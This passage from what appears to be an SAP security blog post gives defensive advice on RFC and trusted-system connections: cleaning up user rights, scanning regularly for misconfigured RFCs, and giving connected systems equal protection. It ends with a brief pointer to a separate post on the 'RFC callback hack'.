  • Remove SAP_ALL and user rights from background and RFC users.
  • At least yearly scan systems for wrongly setup RFC’s and delete them.
  • Instruct basis team never to put in their own account into an RFC connection.

The most though misunderstanding is with some security and control teams themselves. They heavily underestimate the danger of the trusted connections. They come with statements like “we focus on production only”, or “that system is not part of our compliance XYZ framework check”.

Basic golden principle:
The trusted system must have same protection level and control measures as the system it is connected to.

More RFC hacking: RFC callback hack

Next to the RFC attack methods above there is also the RFC callback hack, which uses the back direction to execute malicious actions. Read more in this blog.